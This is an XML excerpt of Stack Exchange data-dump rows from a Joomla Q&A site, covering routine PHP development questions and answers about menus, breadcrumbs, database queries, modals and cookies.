  <row Id="28640" PostTypeId="1" CreationDate="2020-11-11T02:41:48.717" Score="0" ViewCount="22" Body="&lt;p&gt;I have following codes:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php foreach ($list as $item) : ?&amp;gt;&#xA;    &amp;lt;li&amp;lt;?php if ($id == $item-&amp;gt;id &amp;amp;&amp;amp; in_array($view, array('category', 'categories')) &amp;amp;&amp;amp; $option == 'com_content') echo ' class=&amp;quot;active&amp;quot;'; ?&amp;gt;&amp;gt;&#xA;        &amp;lt;?php $levelup = $item-&amp;gt;level - $startLevel - 1; ?&amp;gt;&#xA;        &amp;lt;a href=&amp;quot;&amp;lt;?php echo JRoute::_(ContentHelperRoute::getCategoryRoute($item-&amp;gt;id)); ?&amp;gt;&amp;quot;&amp;gt;&#xA;        &amp;lt;?php echo $item-&amp;gt;title; ?&amp;gt;&#xA;            &amp;lt;?php if ($params-&amp;gt;get('numitems')) : ?&amp;gt;&#xA;                (&amp;lt;?php echo $item-&amp;gt;numitems; ?&amp;gt;)&#xA;            &amp;lt;?php endif; ?&amp;gt;&#xA;        &amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Could anyone tell how to random the title? And control the showing numbers?&lt;/p&gt;&#xA;" OwnerUserId="14590" LastEditorUserId="12352" LastEditDate="2020-11-11T07:17:08.893" LastActivityDate="2020-11-11T07:17:08.893" Title="Want to show random item title from one appointed category" Tags="|joomla-3.x|category|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="28641" PostTypeId="1" AcceptedAnswerId="28658" CreationDate="2020-11-11T08:10:26.180" Score="0" ViewCount="99" Body="&lt;p&gt;I try to add code in order to display article intro image inside the mod_breadcrumbs.php but I have no luck so far. Any help? I have tried some variations of this code:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;?php&#xA;$article_images  = json_decode($item-&amp;gt;images);&#xA;$article_image   = '';&#xA;$article_image_alt   = '';&#xA;if(isset($article_images-&amp;gt;image_intro) &amp;amp;&amp;amp; !empty($article_images-&amp;gt;image_intro)) {&#xA;    $article_image  = $article_images-&amp;gt;image_intro;&#xA;    $article_image_alt  = $article_images-&amp;gt;image_intro_alt;&#xA;}?&amp;gt;                     &#xA;    &#xA;&amp;lt;a href=&amp;quot;/&amp;lt;?php echo $item-&amp;gt;link; ?&amp;gt;&amp;quot;&amp;gt;&#xA;    &amp;lt;img class=&amp;quot;&amp;quot; src=&amp;quot;/&amp;lt;?php echo $article_image; ?&amp;gt;&amp;quot; alt=&amp;quot;&amp;lt;?php echo $article_image_alt; ?&amp;gt;&amp;quot; &amp;gt;&#xA;&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2199" LastActivityDate="2020-11-16T07:58:22.653" Title="Display intro image inside mod_breadcrumbs" Tags="|joomla-3.x|breadcrumbs|" AnswerCount="1" CommentCount="10" ContentLicense="CC BY-SA 4.0" />
  <row Id="28642" PostTypeId="1" AcceptedAnswerId="28644" CreationDate="2020-11-11T17:58:13.087" Score="1" ViewCount="39" Body="&lt;p&gt;I have inherited our Bowling centre's website from my previous manager and have found quite a mess of various menus which we do not need any more.&lt;/p&gt;&#xA;&lt;p&gt;These menus refer to the annual tournament we organise and there are hundreds of these referring to previous years and it requires a lot of scrolling and searching until I find the correct menu item I require.&lt;/p&gt;&#xA;&lt;p&gt;So I have decided to streamline the tournament menus and create 1 set which will be used each year and I will just amend the page to which each particular menu item is linked.&lt;/p&gt;&#xA;&lt;p&gt;I would like to know whether deleting these extra menus which I do not require anymore would delete the page they are linked to also?&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/JFZQO.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/JFZQO.jpg&quot; alt=&quot;Example of multiple menus&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/MsRSJ.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/MsRSJ.jpg&quot; alt=&quot;Example of multiple menu items&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;I have searched through the questions here and have not been able to find any previous posts that relate to my issue.&lt;/p&gt;&#xA;" OwnerUserId="14647" LastEditorUserId="12352" LastEditDate="2020-11-12T06:54:31.227" LastActivityDate="2020-11-12T23:07:54.817" Title="Will deleting a menu option delete the page that it links to?" Tags="|menu|menu-item|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28643" PostTypeId="1" CreationDate="2020-11-11T22:10:19.373" Score="3" ViewCount="166" Body="&lt;p&gt;Is there a way to conveniently replace deprecated Joomla classes with VS Code. I do have the &lt;a href=&quot;https://marketplace.visualstudio.com/items?itemName=ikappas.phpcs&quot; rel=&quot;nofollow noreferrer&quot;&gt;PHP CodeSniffer&lt;/a&gt; (with &lt;a href=&quot;https://docs.joomla.org/Joomla_CodeSniffer#3._IDE_Integration&quot; rel=&quot;nofollow noreferrer&quot;&gt;Joomla Coding standards&lt;/a&gt;) and &lt;a href=&quot;https://marketplace.visualstudio.com/items?itemName=bmewburn.vscode-intelephense-client&quot; rel=&quot;nofollow noreferrer&quot;&gt;Intelephense&lt;/a&gt; extensions, although I am not sure if everything is set up 100% as it should be. Maybe I missed something.&#xA;So far the deprecated classes are highlighted and the tool tips show which class to use instead.&lt;/p&gt;&#xA;&lt;p&gt;But is it also possible to automate the replacement? Replacing the class name and also inserting the &lt;code&gt;use&lt;/code&gt; statement at the beginning of the file?&lt;/p&gt;&#xA;&lt;p&gt;e.g.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;class HelloWorldViewHelloWorlds extends JViewLegacy&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;to&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;use Joomla\CMS\MVC\View\HtmlView&#xA;&#xA;...&#xA;&#xA;class HelloWorldViewHelloWorlds extends HtmlView&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Updating an old extension gets quite tedious, when doing all of them manually.&lt;/p&gt;&#xA;&lt;h2&gt;Update&lt;/h2&gt;&#xA;&lt;p&gt;PHPStorm seems to have something like this:&lt;/p&gt;&#xA;&lt;p&gt;click on indicated deprecated class, &lt;kbd&gt;Alt&lt;/kbd&gt; + &lt;kbd&gt;Enter&lt;/kbd&gt;, then &lt;em&gt;Import Class&lt;/em&gt;, choose class and name spacing is placed at top of file (&lt;em&gt;haven't tried it myself since I don't use PHPStorm&lt;/em&gt;)&lt;/p&gt;&#xA;" OwnerUserId="11618" LastEditorUserId="11618" LastEditDate="2020-11-20T18:36:40.793" LastActivityDate="2024-04-04T01:00:40.100" Title="How to replace deprecated Joomla classes with VS Code?" Tags="|development|development-tool|deprecated|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="28644" PostTypeId="2" ParentId="28642" CreationDate="2020-11-12T02:16:08.837" Score="1" Body="&lt;p&gt;Deleting menus or menu items will not affect the content (eg a k2 item) to which the menu item is assigned.&lt;/p&gt;&#xA;&lt;p&gt;Once a menu item is deleted the url of that menu item will no longer work. Menu items are for making and organising urls and they also hold the itemid to which modules are assigned.&lt;/p&gt;&#xA;" OwnerUserId="7374" LastEditorUserId="7374" LastEditDate="2020-11-12T23:07:54.817" LastActivityDate="2020-11-12T23:07:54.817" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28646" PostTypeId="1" CreationDate="2020-11-12T20:54:02.480" Score="1" ViewCount="118" Body="&lt;p&gt;I'm basically trying to create a Joomla JFactory query to COUNT and SELECT data if a particular field's value meets my criteria.&lt;/p&gt;&#xA;&lt;p&gt;In &amp;quot;myTable&amp;quot;, I may have several records where &lt;code&gt;Field4&lt;/code&gt; may either be &lt;code&gt;NULL&lt;/code&gt; or equal to &lt;code&gt;YES&lt;/code&gt; or &lt;code&gt;NO&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Ideally, I'd like a single query that would return a COUNT of records where &lt;code&gt;Field1&lt;/code&gt;, &lt;code&gt;Field2&lt;/code&gt;, and &lt;code&gt;Field3&lt;/code&gt; equal &lt;code&gt;$Field1&lt;/code&gt;, &lt;code&gt;$Field2&lt;/code&gt;, and &lt;code&gt;$Field3&lt;/code&gt; ... AND then where &lt;code&gt;Field4&lt;/code&gt; = &lt;code&gt;YES&lt;/code&gt; or &lt;code&gt;NO&lt;/code&gt;, I'd like it to echo the text &lt;code&gt;YES&lt;/code&gt; or &lt;code&gt;NO&lt;/code&gt;, depending on if one of the records meets that criteria.&lt;/p&gt;&#xA;&lt;p&gt;This code kind of does what I want, but it only returns a value of &lt;code&gt;YES&lt;/code&gt; when &lt;code&gt;Field4&lt;/code&gt; equals &lt;code&gt;YES&lt;/code&gt;.  And I have a previous query above it (&lt;code&gt;$db4&lt;/code&gt; and &lt;code&gt;$query4&lt;/code&gt;) that returns the COUNT that I want. Seems like there should be a more efficient and easy way to do this.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$db5 = JFactory::getDbo();&#xA;$query5 = $db5-&amp;gt;getQuery(true);&#xA;&#xA;$query5 = $db5&#xA;-&amp;gt;getQuery(true)&#xA;-&amp;gt;select(array('ID', 'Field4'))&#xA;-&amp;gt;from($db-&amp;gt;quoteName('myTable'))&#xA;-&amp;gt;where($db-&amp;gt;quoteName('Field1') . &amp;quot; = &amp;quot; . $db-&amp;gt;quote($Field1))&#xA;-&amp;gt;where($db-&amp;gt;quoteName('Field2') . &amp;quot; = &amp;quot; . $db-&amp;gt;quote($Field2))&#xA;-&amp;gt;where($db-&amp;gt;quoteName('Field3') . &amp;quot; = &amp;quot; . $db-&amp;gt;quote($Field3))&#xA;-&amp;gt;where($db-&amp;gt;quoteName('Field4') . &amp;quot; = &amp;quot; . $db-&amp;gt;quote('YES'));&#xA;&#xA;$db5-&amp;gt;setQuery($query5);&#xA;$result5 = $db5-&amp;gt;loadResult();&#xA;$Field4 = $result5;&#xA;echo $Field4;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="14651" LastEditorUserId="12352" LastEditDate="2020-11-13T20:10:05.623" LastActivityDate="2020-11-13T21:08:04.813" Title="JFactory query to select field value if mulitple conditions are met" Tags="|joomla-3.x|mysql|php7|jfactory|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28648" PostTypeId="1" CreationDate="2020-11-13T14:10:09.283" Score="1" ViewCount="139" Body="&lt;p&gt;As we all know Joomla 4 is on the horizon and the improvement to workflows are definitely an interesting addition.&lt;/p&gt;&#xA;&lt;p&gt;From what I've seen, the workflow works great for new content, but what about content that's already live that needs to be edited? Could this be used in conjunction with the article version control which set's an edited article to the beginning of the workflow whilst the live version remains live until the edits are approved?&lt;/p&gt;&#xA;&lt;p&gt;Anyone had any thoughts on this?&lt;/p&gt;&#xA;" OwnerUserId="294" LastActivityDate="2020-11-17T08:24:50.390" Title="Workflows in Joomla 4" Tags="|joomla-4.x|joomla-4|workflow|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28649" PostTypeId="2" ParentId="28646" CreationDate="2020-11-13T20:37:22.023" Score="1" Body="&lt;p&gt;There are a few tips to offer here.&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;You only need one connection object for your file.  Don't bother with multiple &lt;code&gt;$db&lt;/code&gt; variables -- just keep re-using the same one. *Notice how your &lt;code&gt;quote()&lt;/code&gt; and &lt;code&gt;quoteName()&lt;/code&gt; method calls did not fail when they used an earlier &lt;code&gt;$db&lt;/code&gt; variable.&lt;/li&gt;&#xA;&lt;li&gt;Since your &lt;code&gt;Field4&lt;/code&gt; column can only be &lt;code&gt;NULL&lt;/code&gt;, &lt;code&gt;YES&lt;/code&gt;, or &lt;code&gt;NO&lt;/code&gt;, and you only want &lt;code&gt;YES&lt;/code&gt; and &lt;code&gt;NO&lt;/code&gt; values, then the simplest attack is to filter out the &lt;code&gt;NULL&lt;/code&gt; values.&lt;/li&gt;&#xA;&lt;li&gt;To make your code more &amp;quot;D.R.Y.&amp;quot;, you can pass an array of clauses to the &lt;code&gt;where()&lt;/code&gt; method.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;loadResult()&lt;/code&gt; is appropriate if you want a single column value and have adequate WHERE logic to guarantee a maximum of one row in the result set.  If you might receive more than one row (and you only want to receive one column of data), then &lt;code&gt;loadColumn()&lt;/code&gt; is appropriate.  If you intend to use &lt;code&gt;ID&lt;/code&gt; and &lt;code&gt;Field4&lt;/code&gt; as a single row, then use &lt;code&gt;loadRow()&lt;/code&gt;. If you intend to generate a result set with potentially multiple rows and multiple columns then you will need to call a method that can produce a multidimensional result set such as &lt;code&gt;loadObjectList()&lt;/code&gt; or &lt;code&gt;loadAssocList()&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;My recommended approach will look like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$db = JFactory::getDbo();&#xA;$query5 = $db&#xA;    -&amp;gt;getQuery(true)&#xA;    -&amp;gt;select($db-&amp;gt;qn('Field4'))&#xA;    -&amp;gt;from($db-&amp;gt;qn('myTable'))&#xA;    -&amp;gt;where([&#xA;        $db-&amp;gt;qn('Field1') . ' = ' . $db-&amp;gt;q($Field1),&#xA;        $db-&amp;gt;qn('Field2') . ' = ' . $db-&amp;gt;q($Field2),&#xA;        $db-&amp;gt;qn('Field3') . ' = ' . $db-&amp;gt;q($Field3),&#xA;        $db-&amp;gt;qn('Field4') . ' IS NOT NULL',&#xA;    ]);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The output of &lt;code&gt;$query5&lt;/code&gt; via &lt;code&gt;echo $query5-&amp;gt;dump();&lt;/code&gt; is:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;SELECT `Field4`&#xA;FROM `myTable`&#xA;WHERE `Field1` = '1' AND `Field2` = '2' AND `Field3` = '3' AND `Field4` IS NOT NULL&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Note: If you wanted to cache the column quoting of &lt;code&gt;Field4&lt;/code&gt; instead of calling &lt;code&gt;qn()&lt;/code&gt; on it twice, you could save it as a variable.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;Alternatively, if you wanted to explicitly write the &lt;code&gt;YES&lt;/code&gt; and &lt;code&gt;NO&lt;/code&gt; where conditions, you can use one of the two following techniques:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;andWhere()&lt;/code&gt; with &lt;code&gt;OR&lt;/code&gt; as the glue parameter.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt; -&amp;gt;where([&#xA;     $db-&amp;gt;qn('Field1') . ' = ' . $db-&amp;gt;q($Field1),&#xA;     $db-&amp;gt;qn('Field2') . ' = ' . $db-&amp;gt;q($Field2),&#xA;     $db-&amp;gt;qn('Field3') . ' = ' . $db-&amp;gt;q($Field3),&#xA; ])&#xA; -&amp;gt;andWhere(&#xA;     [&#xA;         $db-&amp;gt;qn('Field4') . ' = ' . $db-&amp;gt;q('YES'),&#xA;         $db-&amp;gt;qn('Field4') . ' = ' . $db-&amp;gt;q('NO')&#xA;     ],&#xA;     'OR'&#xA; );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This will produce:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;SELECT `Field4`&#xA;FROM `myTable`&#xA;WHERE &#xA;(`Field1` = '1' AND `Field2` = '2' AND `Field3` = '3') AND &#xA;(`Field4` = 'YES' OR `Field4` = 'NO')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;or an element containing an &lt;code&gt;IN&lt;/code&gt; clause in the original &lt;code&gt;where()&lt;/code&gt; call.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt; -&amp;gt;where([&#xA;     $db-&amp;gt;qn('Field1') . ' = ' . $db-&amp;gt;q($Field1),&#xA;     $db-&amp;gt;qn('Field2') . ' = ' . $db-&amp;gt;q($Field2),&#xA;     $db-&amp;gt;qn('Field3') . ' = ' . $db-&amp;gt;q($Field3),&#xA;     $db-&amp;gt;qn('Field4') . ' IN (' . $db-&amp;gt;q('YES') . ',' . $db-&amp;gt;q('NO') . ')',&#xA; ]);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This will produce:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;SELECT `Field4`&#xA;FROM `myTable`&#xA;WHERE `Field1` = '1' AND `Field2` = '2' AND `Field3` = '3' AND `Field4` IN ('YES','NO')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2020-11-13T21:00:27.370" LastActivityDate="2020-11-13T21:00:27.370" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28650" PostTypeId="1" CreationDate="2020-11-14T04:26:47.453" Score="1" ViewCount="625" Body="&lt;p&gt;I am trying to put a module inside another component. According to &lt;a href=&quot;https://www.joomlashack.com/blog/joomla-how-to/module-position-component/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.joomlashack.com/blog/joomla-how-to/module-position-component/&lt;/a&gt; I can put&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo JHtml::_('content.prepare', '{loadposition myposition}'); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;in the PHP file in question.&lt;/p&gt;&#xA;&lt;p&gt;I've tried this but it didn't work for me, this line of code simply doesn't output anything to my HTML. There is no error thrown either. So is this still technique still available? Or did I miss anything?&lt;/p&gt;&#xA;" OwnerUserId="5680" LastActivityDate="2024-01-19T14:03:10.373" Title="What is the proper way to use content.prepare?" Tags="|php|custom-component|custom-module|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28651" PostTypeId="1" CreationDate="2020-11-14T14:42:12.807" Score="1" ViewCount="248" Body="&lt;p&gt;I use Joomla modal to popup an internal link.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;JHTML::_('behavior.modal');&#xA;&amp;lt;a class=&amp;quot;modal&amp;quot; href=&amp;quot;contact-us.html&amp;quot; rel=&amp;quot;{size: {x: 480, y: 500}, handler:'iframe'}&amp;quot;&amp;gt;Contact Us&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I don't want to close the popup window when I click the background. Does anyone know how to prevent the modal closure on that user event?&lt;/p&gt;&#xA;" OwnerUserId="14590" LastEditorUserId="12352" LastEditDate="2020-11-15T10:48:18.333" LastActivityDate="2020-11-15T10:48:18.333" Title="How to disable close modal box when click background?" Tags="|joomla-3.x|modal|popup|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28652" PostTypeId="2" ParentId="5703" CreationDate="2020-11-14T17:21:06.003" Score="3" Body="&lt;p&gt;I found that on Joomla 3.9.22, a link to &lt;code&gt;/component/users/?task=user.logout&lt;/code&gt; worked as a logout link that did not require a userToken. When I used &lt;code&gt;index.php?option=com_users&amp;amp;view=login&amp;amp;layout=logout&amp;amp;task=user.menulogout&lt;/code&gt;, it instead forwarded to a page containing only a logout button.&lt;/p&gt;&#xA;" OwnerUserId="8751" LastActivityDate="2020-11-14T17:21:06.003" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28654" PostTypeId="2" ParentId="28651" CreationDate="2020-11-15T08:29:53.180" Score="2" Body="&lt;p&gt;Just a note that &lt;code&gt;behavior.modal&lt;/code&gt; uses Mootools and has been removed in Joomla 4, so I'd suggest using &lt;code&gt;bootstrap.renderModal&lt;/code&gt; instead, which will ensure J4 compatibility.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;HTML:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;button type=&amp;quot;button&amp;quot; data-toggle=&amp;quot;modal&amp;quot; data-target=&amp;quot;#contactModal&amp;quot;&amp;gt;Contact Us&amp;lt;/button&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;strong&gt;PHP:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;use Joomla\CMS\HTML\HTMLHelper;&#xA;&#xA;echo HTMLHelper::_(&#xA;    'bootstrap.renderModal',&#xA;    'contactModal',&#xA;    [&#xA;        'url'        =&amp;gt; 'contact-us.html',&#xA;        'title'      =&amp;gt; 'Contact Us',&#xA;        'backdrop'   =&amp;gt; 'static',&#xA;        'modalWidth' =&amp;gt; 40,&#xA;        'bodyHeight' =&amp;gt; 60,&#xA;        'footer'     =&amp;gt; '&amp;lt;a type=&amp;quot;button&amp;quot; class=&amp;quot;btn btn-secondary&amp;quot; data-dismiss=&amp;quot;modal&amp;quot;&amp;gt;Close&amp;lt;/a&amp;gt;'&#xA;    ]&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Note that &lt;code&gt;'backdrop' =&amp;gt; 'static',&lt;/code&gt; will prevent the modal closing when clicking the background.&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2020-11-15T08:29:53.180" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="28657" PostTypeId="2" ParentId="4764" CreationDate="2020-11-16T00:51:36.420" Score="0" Body="&lt;p&gt;I had the same issue with a website transferred from my localhost to its online domain.&lt;/p&gt;&#xA;&lt;p&gt;I've tried so many suggestions and nothing worked until I tried to change the &amp;quot;HTTP&amp;quot; to &amp;quot;https&amp;quot;, and voila -- it worked!&lt;/p&gt;&#xA;" OwnerUserId="11480" LastEditorUserId="12352" LastEditDate="2020-11-16T08:14:22.077" LastActivityDate="2020-11-16T08:14:22.077" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28658" PostTypeId="2" ParentId="28641" CreationDate="2020-11-16T07:58:22.653" Score="2" Body="&lt;p&gt;@geoplus, your first hurdle is that mod_breadcrumbs only includes a small amount of information about the breadcrumb items in the array used to display the breadcrumb, specifically the item name and the item link for each breadcrumb.&lt;/p&gt;&#xA;&lt;p&gt;Add the following in your template override (/templates//html/mod_breadcrumbs/default.php) just inside the foreach loop, and it will show you what's in your array.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;echo &amp;quot;&amp;lt;pre&amp;gt;&amp;quot;;print_r($item);echo &amp;quot;&amp;lt;/pre&amp;gt;&amp;quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;You'll then see that the array used to display the breadcrumb doesn't have any specific details about the page it links to.&lt;/p&gt;&#xA;&lt;p&gt;With that as a starting point, you'd then need to look at /modules/mod_breadcrumbs/helper.php and what you can do with the ModBreadCrumbsHelper class, and specifically the getList function.&lt;/p&gt;&#xA;&lt;p&gt;My suggestion:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;make a copy of /modules/mod_breadcrumbs&lt;/li&gt;&#xA;&lt;li&gt;rename it /modules/mod_breadcrumbsplus (or whatever you want to call it)&lt;/li&gt;&#xA;&lt;li&gt;Update the XML file to reference different folder name&lt;/li&gt;&#xA;&lt;li&gt;Create new language files as required&lt;/li&gt;&#xA;&lt;li&gt;Discover the new module to install it on the site&lt;/li&gt;&#xA;&lt;li&gt;Go about modifying the helper classes to extend the list to include what you need to acquire the article images and place them in the array.&lt;/li&gt;&#xA;&lt;li&gt;In the template, once the images are included in the array, add that into the layout to then display your images in the breadcrumb.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;The mix of code to add to the class needs to include either just the extra images you want to use in the breadcrumb, or to let you further troubleshoot / extend the process, add in fields like menu Itemid, or the article ID.&lt;/p&gt;&#xA;&lt;p&gt;You can then tweak your template override after those are available to use other tools like &lt;a href=&quot;https://regularlabs.com/extensions/articlesanywhere&quot; rel=&quot;nofollow noreferrer&quot;&gt;Regular Labs Articles Anywhere&lt;/a&gt; to then pass the article ID into the layout, and that will let you easily additionally pull in other things like Custom Fields - Showing a full sized intro image in the breadcrumb might be inefficient: A 1200x630 image displayed at a breadcrumb size of 40x21 is not optimal.&lt;/p&gt;&#xA;" OwnerUserId="14062" LastActivityDate="2020-11-16T07:58:22.653" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="28659" PostTypeId="1" CreationDate="2020-11-16T10:25:10.530" Score="0" ViewCount="111" Body="&lt;p&gt;I'm trying to set up a cookie in Joomla from an external website using cURL. The process flow is as below:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;User does an action in external.com&lt;/li&gt;&#xA;&lt;li&gt;external.com cURL a URL in joomla.com&lt;/li&gt;&#xA;&lt;li&gt;joomla.com sets the cookie&lt;/li&gt;&#xA;&lt;li&gt;When user visits joomla.com, the cookie will be in their browser and it will be used to show/hide pages.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Unfortunately, I can't seem to be able to set a persistent cookie. Here's what I did:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;[joomla.com] Created a custom component, with a custom controller and a custom task. Below the code on the controller:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;public function createCookie() {&#xA;    $app = JFactory::getApplication();&#xA;    $app-&amp;gt;input-&amp;gt;cookie-&amp;gt;set(&#xA;        &amp;quot;TEST&amp;quot;,&#xA;        &amp;quot;TestContent&amp;quot;,&#xA;        time() + &amp;quot;3600&amp;quot;,&#xA;        $app-&amp;gt;get('cookie_path', '/'),&#xA;        $app-&amp;gt;get('cookie_domain'),&#xA;        $app-&amp;gt;isSSLConnection()&#xA;    );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;[external.com] Created a cURL call to hit the task created at point 1.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt; $cURLConnection = curl_init();&#xA; curl_setopt($cURLConnection, CURLOPT_URL, 'https://joomla.com/index.php?option=com_test&amp;amp;task=testclass.createCookie');&#xA; curl_setopt($cURLConnection, CURLOPT_HEADER, false);&#xA; curl_setopt($cURLConnection, CURLOPT_RETURNTRANSFER, 1);&#xA; curl_setopt($cURLConnection, CURLOPT_FOLLOWLOCATION, 1);&#xA; curl_setopt($cURLConnection, CURLOPT_SSL_VERIFYPEER, false);&#xA;&#xA; $curlExec = curl_exec($cURLConnection);&#xA; curl_close($cURLConnection);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;If I visit the joomla.com website after the cURL call, the cookie is not there, it's like it has never been created. If I visit the page directly, the cookie gets created.&lt;/p&gt;&#xA;&lt;p&gt;My question is: How can I create a cookie in Joomla from an external cURL call?&lt;/p&gt;&#xA;" OwnerUserId="14478" LastEditorUserId="12352" LastEditDate="2020-11-16T22:43:47.913" LastActivityDate="2020-11-16T22:43:47.913" Title="Set Joomla cookie via cURL from external website" Tags="|joomla-3.x|component|cookies|curl|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28660" PostTypeId="2" ParentId="28659" CreationDate="2020-11-16T21:42:26.220" Score="1" Body="&lt;p&gt;You should think of cURL as its own separate browser. It has no ties to IE, Firefox, Chrome, or whatever browser you use. Just like Firefox has its own cookies and IE has its own cookies, cURL can also be enabled with cookies, but it needs a file to store the cookie data in. This is specified with the CURLOPT_COOKIEFILE and CURLOPT_COOKIEJAR options. The COOKIEJAR option is for storing the cookies that cURL receives, and COOKIEFILE is for sending the cookie information on subsequent requests, so you can log in and then do additional, authenticated requests. Just set both options to &amp;quot;cookie.txt&amp;quot; or something like that.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookie.txt');&#xA;curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookie.txt');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;But again, this does not set the cookies in your IE/FF/Chrome browser. It simply allows cURL to send and receive cookies like a normal browser does.&lt;/p&gt;&#xA;" OwnerUserId="2082" LastActivityDate="2020-11-16T21:42:26.220" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
